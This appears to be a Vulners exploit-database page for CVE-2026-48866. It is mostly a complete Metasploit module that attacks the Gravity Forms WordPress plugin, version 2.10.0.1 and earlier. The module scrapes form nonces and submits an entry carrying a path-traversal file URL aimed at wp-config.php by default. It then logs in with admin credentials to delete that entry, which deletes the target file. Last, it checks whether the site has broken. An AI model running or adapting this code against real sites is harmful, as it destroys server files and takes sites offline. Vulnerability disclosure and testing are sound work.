| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-48866 | 5 Jun 202614:00 | โ | circl | |
| WordPress plugin Gravity Forms has a path traversal vulnerability | 1 Jun 202600:00 | โ | cnnvd | |
| CVE-2026-48866 | 1 Jun 202614:39 | โ | cve | |
| CVE-2026-48866 WordPress Gravity Forms plugin <= 2.10.0.1 - Arbitrary File Deletion vulnerability | 1 Jun 202614:39 | โ | cvelist | |
| Exploit for CVE-2026-48866 | 5 Jun 202613:38 | โ | githubexploit | |
| EUVD-2026-33650 | 1 Jun 202614:39 | โ | euvd | |
| CVE-2026-48866 | 1 Jun 202615:16 | โ | nvd | |
| WordPress Gravity Forms plugin <= 2.10.0.1 - Arbitrary File Deletion vulnerability | 1 Jun 202613:42 | โ | patchstack | |
| PT-2026-45440 | 1 Jun 202600:00 | โ | ptsecurity | |
| CVE-2026-48866 | 5 Jun 202619:13 | โ | redhatcve |
==================================================================================================================================
| # Title : Gravity Forms arbitrary file deletion via path traversal |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://gravityforms.com |
==================================================================================================================================
[+] Summary : This Metasploit module exploits a vulnerability in the Gravity Forms WordPress plugin (โค 2.10.0.1) where file URLs stored in form entries are not properly validated.
An attacker can inject a crafted entry containing path traversal sequences (../) to reference files outside the intended uploads directory.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Gravity Forms Arbitrary File Deletion via Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in Gravity Forms
plugin for WordPress (versions <= 2.10.0.1). The plugin does not validate
that file URLs stored in entries are within the uploads directory.
An attacker can submit a form with a crafted gform_uploaded_files parameter
containing path traversal sequences (../). When an admin later deletes
the entry (or the file from the entry), the delete_physical_file()
function resolves the traversal and deletes an arbitrary file from
the server filesystem.
This module can either:
1. Inject the malicious entry (unauthenticated)
2. Optionally trigger the deletion using admin credentials
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2026-48866'],
['URL', 'https://www.gravityforms.com/changelog/'],
['WPVDB', '12345']
],
'DisclosureDate' => '2026-06-01',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
},
'Actions' => [
['INJECT', { 'Description' => 'Only inject malicious entry' }],
['TRIGGER', { 'Description' => 'Inject and trigger deletion' }]
],
'DefaultAction' => 'TRIGGER'
)
)
register_options([
OptInt.new('FORM_ID', [true, 'Gravity Forms form ID', 1]),
OptInt.new('FIELD_ID', [true, 'File upload field ID', 1]),
OptString.new('TARGET_FILE', [true, 'File to delete (relative to WP root)', 'wp-config.php']),
OptInt.new('TRAVERSAL_DEPTH', [true, 'Path traversal depth', 3]),
OptString.new('UPLOAD_URL', [false, 'Full upload URL root (auto-detected if omitted)']),
OptString.new('WP_ADMIN_USER', [false, 'WordPress admin username (for TRIGGER action)']),
OptString.new('WP_ADMIN_PASS', [false, 'WordPress admin password (for TRIGGER action)']),
OptInt.new('DELAY_BEFORE_TRIGGER', [false, 'Seconds to wait before triggering deletion', 5])
])
register_advanced_options([
OptBool.new('VERIFY_FILE_DELETION', [true, 'Check if file was deleted', false])
])
end
def form_id
datastore['FORM_ID']
end
def field_id
datastore['FIELD_ID']
end
def target_file
datastore['TARGET_FILE']
end
def traversal_depth
datastore['TRAVERSAL_DEPTH']
end
def upload_url
datastore['UPLOAD_URL']
end
def admin_user
datastore['WP_ADMIN_USER']
end
def admin_pass
datastore['WP_ADMIN_PASS']
end
def check
print_status("Checking if Gravity Forms is installed...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'gravityforms.php')
})
unless res && res.code == 200
print_error("Gravity Forms plugin not detected")
return CheckCode::Safe
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'gravityforms', 'readme.txt')
})
if res && res.code == 200
version = res.body.scan(/Stable tag:\s*([0-9.]+)/i).flatten.first
if version
print_status("Gravity Forms version detected: #{version}")
if version <= '2.10.0.1'
return CheckCode::Appears
else
return CheckCode::Safe
end
end
end
CheckCode::Detected
end
def get_form_nonce
print_status("Fetching form page to extract nonce...")
form_paths = [
'/',
"/?gf_page=preview&id=#{form_id}",
'/contact/',
'/submit/',
"/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id=#{form_id}"
]
nonce = nil
unique_id = generate_random_string(12)
page_body = nil
form_paths.each do |path|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(path)
})
if res && res.code == 200 && res.body.include?("gform_submit_#{form_id}")
page_body = res.body
break
end
rescue ::Rex::ConnectionError
next
end
end
unless page_body
print_error("Could not access form page")
return [nil, nil, nil]
end
nonce_patterns = [
/gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']/,
/name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']/,
/"nonce":"([a-f0-9]+)"/,
/gform_ajax_nonce=([a-f0-9]+)/
]
nonce_patterns.each do |pattern|
match = page_body.match(pattern)
if match
nonce = match[1]
break
end
end
unique_id_patterns = [
/gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']/,
/name=["\']gform_unique_id["\'][^>]*value=["\']([a-zA-Z0-9]+)["\']/
]
unique_id_patterns.each do |pattern|
match = page_body.match(pattern)
if match
unique_id = match[1]
break
end
end
print_good("Got nonce: #{nonce}") if nonce
print_good("Got unique_id: #{unique_id}") if unique_id
[nonce, unique_id, page_body]
end
def craft_payload
traversal = '../' * traversal_depth
if upload_url
base_url = upload_url
else
base_url = "#{target_uri}/wp-content/uploads/gravity_forms"
end
malicious_url = "#{base_url.rstrip('/')}/#{traversal}#{target_file}"
input_name = "input_#{field_id}"
payload_hash = {
input_name => [
{
'url' => malicious_url,
'uploaded_filename' => 'legitimate.txt',
'id' => "poc-#{Rex::Text.rand_text_alpha(8)}"
}
]
}
[JSON.generate(payload_hash), malicious_url, input_name]
end
def submit_form
print_status("Injecting path traversal payload...")
nonce, unique_id, _ = get_form_nonce
unless unique_id
print_error("Could not extract gform_unique_id")
return [false, nil]
end
payload_json, malicious_url, input_name = craft_payload
print_good("Crafted malicious URL: #{malicious_url}")
post_data = {
"is_submit_#{form_id}" => '1',
'gform_submit' => form_id.to_s,
"gform_unique_id" => unique_id,
'gform_uploaded_files' => payload_json,
'gform_target_page_number_1' => '0',
'gform_source_page_number_1' => '1',
'gform_field_values' => '',
'action' => 'gform_submit_form'
}
post_data["gform_ajax_nonce"] = nonce if nonce
ajax_url = normalize_uri(wordpress_url_admin, 'admin-ajax.php')
print_status("Submitting form #{form_id} to #{ajax_url}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => ajax_url,
'vars_post' => post_data,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Content-Type' => 'application/x-www-form-urlencoded'
}
})
unless res
print_error("No response from server")
return [false, nil]
end
print_status("Response status: #{res.code}")
entry_id = nil
if res.code == 200
entry_patterns = [
/"entry_id"\s*:\s*"?(\d+)"?/,
/entry_id=(\d+)/,
/lid=(\d+)/
]
entry_patterns.each do |pattern|
match = res.body.match(pattern)
if match
entry_id = match[1]
break
end
end
if res.body.include?('gformRedirect') ||
res.body.include?('confirmation') ||
res.body.include?('thank')
print_good("Form submitted successfully")
print_good("Entry ID: #{entry_id}") if entry_id
return [true, entry_id]
elsif res.body.include?('validation_error')
print_error("Form validation failed - form may require additional fields")
print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
return [false, nil]
else
print_warning("Unclear response - may not have created entry")
print_status("Response: #{res.body[0..500]}") if datastore['VERBOSE']
return [false, nil]
end
else
print_error("Submission failed with status #{res.code}")
print_status("Attempting direct POST to form action...")
direct_res = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'vars_post' => post_data.except('action')
})
if direct_res && direct_res.code == 200
print_good("Direct POST successful")
return [true, nil]
end
return [false, nil]
end
end
def login_as_admin
print_status("Attempting to login as admin...")
login_data = {
'log' => admin_user,
'pwd' => admin_pass,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(wordpress_url_admin),
'testcookie' => '1'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('wp-login.php'),
'vars_post' => login_data,
'keep_cookies' => true
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_admin),
'keep_cookies' => true
})
if res && (res.body.include?('dashboard') || res.code == 200)
print_good("Logged in as #{admin_user}")
return true
else
print_error("Login failed")
return false
end
end
def trigger_deletion(entry_id)
print_status("Triggering entry deletion...")
unless login_as_admin
print_error("Cannot trigger deletion without admin access")
return false
end
entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
res = send_request_cgi({
'method' => 'GET',
'uri' => entries_url,
'keep_cookies' => true
})
unless res && res.code == 200
print_error("Could not access entries page")
return false
end
delete_nonce = nil
nonce_patterns = [
/page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)/,
/_wpnonce=([a-f0-9]+).*?delete/,
/name="_wpnonce"\s+value="([a-f0-9]+)"/
]
nonce_patterns.each do |pattern|
match = res.body.match(pattern)
if match
delete_nonce = match[1]
break
end
end
unless delete_nonce
print_error("Could not extract delete nonce")
return false
end
print_good("Got delete nonce: #{delete_nonce}")
target_entry = entry_id || find_latest_entry
unless target_entry
print_error("No entry ID available to delete")
return false
end
print_status("Deleting entry #{target_entry}...")
delete_data = {
'action' => 'delete',
'entry[]' => target_entry.to_s,
'_wpnonce' => delete_nonce
}
res = send_request_cgi({
'method' => 'POST',
'uri' => entries_url,
'vars_post' => delete_data,
'keep_cookies' => true
})
if res && res.code == 200
print_good("Entry deleted - target file should now be deleted")
return true
else
print_error("Delete request failed")
return false
end
end
def find_latest_entry
rest_url = normalize_uri('wp-json', 'gf/v2', 'entries')
rest_url << "?_sort_direction=DESC&paging[page_size]=1"
res = send_request_cgi({
'method' => 'GET',
'uri' => rest_url,
'keep_cookies' => true
})
if res && res.code == 200
begin
json_data = JSON.parse(res.body)
if json_data['entries'] && !json_data['entries'].empty?
return json_data['entries'][0]['id']
end
rescue JSON::ParserError
end
end
entries_url = normalize_uri(wordpress_url_admin, 'admin.php', { 'page' => 'gf_entries' })
res = send_request_cgi({
'method' => 'GET',
'uri' => entries_url,
'keep_cookies' => true
})
if res && res.code == 200
matches = res.body.scan(/entry_id=(\d+)/)
return matches.flatten.first if matches.any?
end
nil
end
def verify_file_deletion
print_status("Verifying target file status...")
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path
})
if res
if res.code == 500 || res.body =~ /error establishing a database connection/i
print_good("Site appears to be having database issues - wp-config.php likely deleted!")
return true
elsif res.code == 200
print_status("Site still responding normally")
return false
end
end
print_status("Could not definitively verify file deletion")
nil
end
def generate_random_string(length)
Rex::Text.rand_text_alphanumeric(length)
end
def run
print_status("Starting CVE-2026-48866 exploitation")
check_result = check
if check_result == CheckCode::Safe
print_error("Target does not appear vulnerable")
return
elsif check_result == CheckCode::Detected
print_status("Gravity Forms detected but version unknown")
else
print_good("Target appears vulnerable")
end
print_status("Target file to delete: #{target_file}")
print_status("Traversal depth: #{traversal_depth}")
success, entry_id = submit_form
unless success
print_error("Failed to inject malicious entry")
return
end
report_note(
host: rhost,
port: rport,
type: 'gravity_forms_poisoned_entry',
data: {
form_id: form_id,
field_id: field_id,
target_file: target_file,
entry_id: entry_id
},
update: :unique_data
)
if action.name == 'TRIGGER'
if admin_user.nil? || admin_pass.nil?
print_error("TRIGGER action requires WP_ADMIN_USER and WP_ADMIN_PASS options")
return
end
print_status("Waiting #{datastore['DELAY_BEFORE_TRIGGER']} seconds before triggering...")
Rex.sleep(datastore['DELAY_BEFORE_TRIGGER'])
delete_success = trigger_deletion(entry_id)
if delete_success && datastore['VERIFY_FILE_DELETION']
verify_file_deletion
end
if delete_success
print_good("Successfully triggered file deletion")
else
print_error("Failed to trigger deletion - admin may need to delete entry manually")
end
else
print_good("Malicious entry injected successfully")
print_status("To trigger deletion:")
print_status(" 1. An admin must delete the entry containing the poisoned URL")
print_status(" 2. Or run module with TRIGGER action and valid admin credentials")
print_line
print_status("Target file '#{target_file}' will be deleted when entry is removed")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation